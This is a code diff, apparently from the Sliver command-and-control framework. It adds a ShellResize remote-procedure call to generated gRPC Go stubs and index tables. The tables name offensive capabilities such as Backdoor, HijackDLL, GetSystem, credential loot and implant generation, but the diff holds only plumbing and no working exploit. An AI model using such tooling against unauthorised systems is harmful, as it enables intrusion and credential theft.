192, // 306: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
|
||||
193, // 307: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
|
||||
193, // 308: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
|
||||
194, // 309: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
|
||||
195, // 310: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
|
||||
196, // 311: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
|
||||
197, // 312: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
|
||||
198, // 313: rpcpb.SliverRPC.Services:output_type -> sliverpb.Services
|
||||
199, // 314: rpcpb.SliverRPC.ServiceDetail:output_type -> sliverpb.ServiceDetail
|
||||
200, // 315: rpcpb.SliverRPC.StartServiceByName:output_type -> sliverpb.ServiceInfo
|
||||
201, // 316: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
|
||||
0, // 317: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
|
||||
202, // 318: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
|
||||
203, // 319: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
|
||||
200, // 320: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
|
||||
200, // 321: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
|
||||
200, // 322: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
|
||||
204, // 323: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
|
||||
205, // 324: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
|
||||
206, // 325: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
|
||||
207, // 326: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
|
||||
208, // 327: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor
|
||||
209, // 328: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
|
||||
210, // 329: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
|
||||
211, // 330: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
|
||||
212, // 331: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
|
||||
213, // 332: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
|
||||
214, // 333: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
|
||||
215, // 334: rpcpb.SliverRPC.RegistryReadHive:output_type -> sliverpb.RegistryReadHive
|
||||
216, // 335: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
217, // 336: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
|
||||
218, // 337: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
|
||||
219, // 338: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
|
||||
220, // 339: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
|
||||
219, // 340: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
|
||||
111, // 341: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
|
||||
0, // 342: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
|
||||
221, // 343: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
|
||||
222, // 344: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
|
||||
223, // 345: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
|
||||
224, // 346: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension
|
||||
225, // 347: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions
|
||||
226, // 348: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension
|
||||
227, // 349: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
|
||||
227, // 350: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
|
||||
228, // 351: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
|
||||
228, // 352: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
|
||||
229, // 353: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
|
||||
230, // 354: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
|
||||
231, // 355: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
|
||||
232, // 356: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
|
||||
127, // 357: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
|
||||
0, // 358: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
|
||||
128, // 359: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
|
||||
129, // 360: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
|
||||
0, // 361: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
|
||||
130, // 362: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
|
||||
30, // 363: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
|
||||
182, // [182:364] is the sub-list for method output_type
|
||||
0, // [0:182] is the sub-list for method input_type
|
||||
126, // 174: rpcpb.SliverRPC.ShellResize:input_type -> sliverpb.ShellResizeReq
|
||||
127, // 175: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
|
||||
128, // 176: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
|
||||
128, // 177: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
|
||||
129, // 178: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
|
||||
130, // 179: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
|
||||
130, // 180: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
|
||||
131, // 181: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
|
||||
0, // 182: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
|
||||
132, // 183: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
|
||||
0, // 184: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty
|
||||
133, // 185: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
|
||||
0, // 186: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
|
||||
134, // 187: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
|
||||
0, // 188: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
|
||||
135, // 189: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
|
||||
136, // 190: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
|
||||
0, // 191: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
|
||||
137, // 192: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders
|
||||
136, // 193: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response
|
||||
136, // 194: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response
|
||||
138, // 195: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob
|
||||
138, // 196: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob
|
||||
138, // 197: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob
|
||||
138, // 198: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob
|
||||
138, // 199: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob
|
||||
139, // 200: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
|
||||
10, // 201: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
|
||||
0, // 202: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
|
||||
140, // 203: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
|
||||
11, // 204: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
|
||||
11, // 205: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
|
||||
0, // 206: rpcpb.SliverRPC.UpdateBeaconIntegrityInformation:output_type -> commonpb.Empty
|
||||
141, // 207: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
|
||||
142, // 208: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
|
||||
0, // 209: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty
|
||||
143, // 210: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
|
||||
16, // 211: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
|
||||
0, // 212: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
|
||||
16, // 213: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
|
||||
16, // 214: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
|
||||
144, // 215: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
|
||||
17, // 216: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials
|
||||
0, // 217: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty
|
||||
0, // 218: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty
|
||||
0, // 219: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty
|
||||
18, // 220: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential
|
||||
17, // 221: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials
|
||||
17, // 222: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials
|
||||
18, // 223: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential
|
||||
145, // 224: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
|
||||
19, // 225: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
|
||||
0, // 226: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
|
||||
0, // 227: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
|
||||
146, // 228: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
|
||||
147, // 229: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
|
||||
0, // 230: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
|
||||
147, // 231: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig
|
||||
146, // 232: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate
|
||||
0, // 233: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty
|
||||
148, // 234: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs
|
||||
149, // 235: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config
|
||||
0, // 236: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty
|
||||
30, // 237: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
|
||||
0, // 238: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
|
||||
150, // 239: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
|
||||
151, // 240: rpcpb.SliverRPC.GetCertificateInfo:output_type -> clientpb.CertificateInfo
|
||||
152, // 241: rpcpb.SliverRPC.GetCertificateAuthorityInfo:output_type -> clientpb.CertificateAuthorityInfo
|
||||
30, // 242: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event
|
||||
0, // 243: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty
|
||||
0, // 244: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty
|
||||
153, // 245: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations
|
||||
34, // 246: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask
|
||||
0, // 247: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty
|
||||
154, // 248: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles
|
||||
35, // 249: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile
|
||||
0, // 250: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty
|
||||
36, // 251: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk
|
||||
0, // 252: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty
|
||||
0, // 253: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty
|
||||
146, // 254: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
|
||||
155, // 255: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
|
||||
0, // 256: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
|
||||
156, // 257: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
|
||||
157, // 258: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
|
||||
158, // 259: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
|
||||
159, // 260: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
|
||||
0, // 261: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
|
||||
39, // 262: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
|
||||
160, // 263: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
|
||||
161, // 264: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
|
||||
162, // 265: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
|
||||
163, // 266: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
|
||||
164, // 267: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap
|
||||
165, // 268: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests
|
||||
0, // 269: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty
|
||||
166, // 270: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
|
||||
43, // 271: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
|
||||
0, // 272: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
|
||||
43, // 273: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
|
||||
43, // 274: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
|
||||
43, // 275: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
|
||||
46, // 276: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
|
||||
167, // 277: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
|
||||
168, // 278: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
|
||||
169, // 279: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
|
||||
170, // 280: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
|
||||
171, // 281: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
|
||||
172, // 282: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
|
||||
172, // 283: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
|
||||
173, // 284: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
|
||||
174, // 285: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp
|
||||
175, // 286: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
|
||||
176, // 287: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
|
||||
177, // 288: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
|
||||
178, // 289: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
|
||||
179, // 290: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep
|
||||
180, // 291: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod
|
||||
181, // 292: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown
|
||||
182, // 293: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes
|
||||
171, // 294: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls
|
||||
183, // 295: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd
|
||||
184, // 296: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm
|
||||
185, // 297: rpcpb.SliverRPC.Mount:output_type -> sliverpb.Mount
|
||||
186, // 298: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
|
||||
187, // 299: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
|
||||
188, // 300: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
|
||||
189, // 301: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
|
||||
190, // 302: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
|
||||
191, // 303: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
|
||||
191, // 304: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
|
||||
191, // 305: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
|
||||
192, // 306: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
|
||||
193, // 307: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
|
||||
194, // 308: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
|
||||
194, // 309: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
|
||||
195, // 310: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
|
||||
196, // 311: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
|
||||
197, // 312: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
|
||||
198, // 313: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
|
||||
199, // 314: rpcpb.SliverRPC.Services:output_type -> sliverpb.Services
|
||||
200, // 315: rpcpb.SliverRPC.ServiceDetail:output_type -> sliverpb.ServiceDetail
|
||||
201, // 316: rpcpb.SliverRPC.StartServiceByName:output_type -> sliverpb.ServiceInfo
|
||||
202, // 317: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
|
||||
0, // 318: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
|
||||
203, // 319: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
|
||||
204, // 320: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
|
||||
201, // 321: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
|
||||
201, // 322: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
|
||||
201, // 323: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
|
||||
205, // 324: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
|
||||
206, // 325: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
|
||||
207, // 326: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
|
||||
208, // 327: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
|
||||
209, // 328: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor
|
||||
210, // 329: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
|
||||
211, // 330: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
|
||||
212, // 331: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
|
||||
213, // 332: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
|
||||
214, // 333: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
|
||||
215, // 334: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
|
||||
216, // 335: rpcpb.SliverRPC.RegistryReadHive:output_type -> sliverpb.RegistryReadHive
|
||||
217, // 336: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
218, // 337: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
|
||||
219, // 338: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
|
||||
220, // 339: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
|
||||
221, // 340: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
|
||||
220, // 341: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
|
||||
111, // 342: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
|
||||
0, // 343: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
|
||||
222, // 344: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
|
||||
223, // 345: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
|
||||
224, // 346: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
|
||||
225, // 347: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension
|
||||
226, // 348: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions
|
||||
227, // 349: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension
|
||||
228, // 350: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
|
||||
228, // 351: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
|
||||
229, // 352: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
|
||||
229, // 353: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
|
||||
230, // 354: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
|
||||
231, // 355: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
|
||||
232, // 356: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
|
||||
0, // 357: rpcpb.SliverRPC.ShellResize:output_type -> commonpb.Empty
|
||||
233, // 358: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
|
||||
128, // 359: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
|
||||
0, // 360: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
|
||||
129, // 361: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
|
||||
130, // 362: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
|
||||
0, // 363: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
|
||||
131, // 364: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
|
||||
30, // 365: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
|
||||
183, // [183:366] is the sub-list for method output_type
|
||||
0, // [0:183] is the sub-list for method input_type
|
||||
0, // [0:0] is the sub-list for extension type_name
|
||||
0, // [0:0] is the sub-list for extension extendee
|
||||
0, // [0:0] is the sub-list for field type_name
|
||||
|
||||
@@ -275,6 +275,7 @@ service SliverRPC {
|
||||
|
||||
// *** Realtime Commands ***
|
||||
rpc Shell(sliverpb.ShellReq) returns (sliverpb.Shell);
|
||||
rpc ShellResize(sliverpb.ShellResizeReq) returns (commonpb.Empty);
|
||||
rpc Portfwd(sliverpb.PortfwdReq) returns (sliverpb.Portfwd);
|
||||
|
||||
// *** Socks5 ***
|
||||
|
||||
@@ -222,6 +222,7 @@ type SliverRPCClient interface {
|
||||
WGListSocksServers(ctx context.Context, in *sliverpb.WGSocksServersReq, opts ...grpc.CallOption) (*sliverpb.WGSocksServers, error)
|
||||
// *** Realtime Commands ***
|
||||
Shell(ctx context.Context, in *sliverpb.ShellReq, opts ...grpc.CallOption) (*sliverpb.Shell, error)
|
||||
ShellResize(ctx context.Context, in *sliverpb.ShellResizeReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
Portfwd(ctx context.Context, in *sliverpb.PortfwdReq, opts ...grpc.CallOption) (*sliverpb.Portfwd, error)
|
||||
// *** Socks5 ***
|
||||
CreateSocks(ctx context.Context, in *sliverpb.Socks, opts ...grpc.CallOption) (*sliverpb.Socks, error)
|
||||
@@ -1880,6 +1881,15 @@ func (c *sliverRPCClient) Shell(ctx context.Context, in *sliverpb.ShellReq, opts
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) ShellResize(ctx context.Context, in *sliverpb.ShellResizeReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
|
||||
out := new(commonpb.Empty)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellResize", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Portfwd(ctx context.Context, in *sliverpb.PortfwdReq, opts ...grpc.CallOption) (*sliverpb.Portfwd, error) {
|
||||
out := new(sliverpb.Portfwd)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Portfwd", in, out, opts...)
|
||||
@@ -2224,6 +2234,7 @@ type SliverRPCServer interface {
|
||||
WGListSocksServers(context.Context, *sliverpb.WGSocksServersReq) (*sliverpb.WGSocksServers, error)
|
||||
// *** Realtime Commands ***
|
||||
Shell(context.Context, *sliverpb.ShellReq) (*sliverpb.Shell, error)
|
||||
ShellResize(context.Context, *sliverpb.ShellResizeReq) (*commonpb.Empty, error)
|
||||
Portfwd(context.Context, *sliverpb.PortfwdReq) (*sliverpb.Portfwd, error)
|
||||
// *** Socks5 ***
|
||||
CreateSocks(context.Context, *sliverpb.Socks) (*sliverpb.Socks, error)
|
||||
@@ -2764,6 +2775,9 @@ func (UnimplementedSliverRPCServer) WGListSocksServers(context.Context, *sliverp
|
||||
func (UnimplementedSliverRPCServer) Shell(context.Context, *sliverpb.ShellReq) (*sliverpb.Shell, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Shell not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) ShellResize(context.Context, *sliverpb.ShellResizeReq) (*commonpb.Empty, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ShellResize not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Portfwd(context.Context, *sliverpb.PortfwdReq) (*sliverpb.Portfwd, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Portfwd not implemented")
|
||||
}
|
||||
@@ -5947,6 +5961,24 @@ func _SliverRPC_Shell_Handler(srv interface{}, ctx context.Context, dec func(int
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_ShellResize_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ShellResizeReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).ShellResize(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/ShellResize",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).ShellResize(ctx, req.(*sliverpb.ShellResizeReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Portfwd_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.PortfwdReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -6801,6 +6833,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "Shell",
|
||||
Handler: _SliverRPC_Shell_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "ShellResize",
|
||||
Handler: _SliverRPC_ShellResize_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Portfwd",
|
||||
Handler: _SliverRPC_Portfwd_Handler,
|
||||
|
||||
@@ -352,6 +352,9 @@ const (
|
||||
|
||||
// MsgMountReq - Request filesystem mounts
|
||||
MsgMountReq
|
||||
|
||||
// MsgShellResizeReq - Resize a shell PTY
|
||||
MsgShellResizeReq
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -413,6 +416,8 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
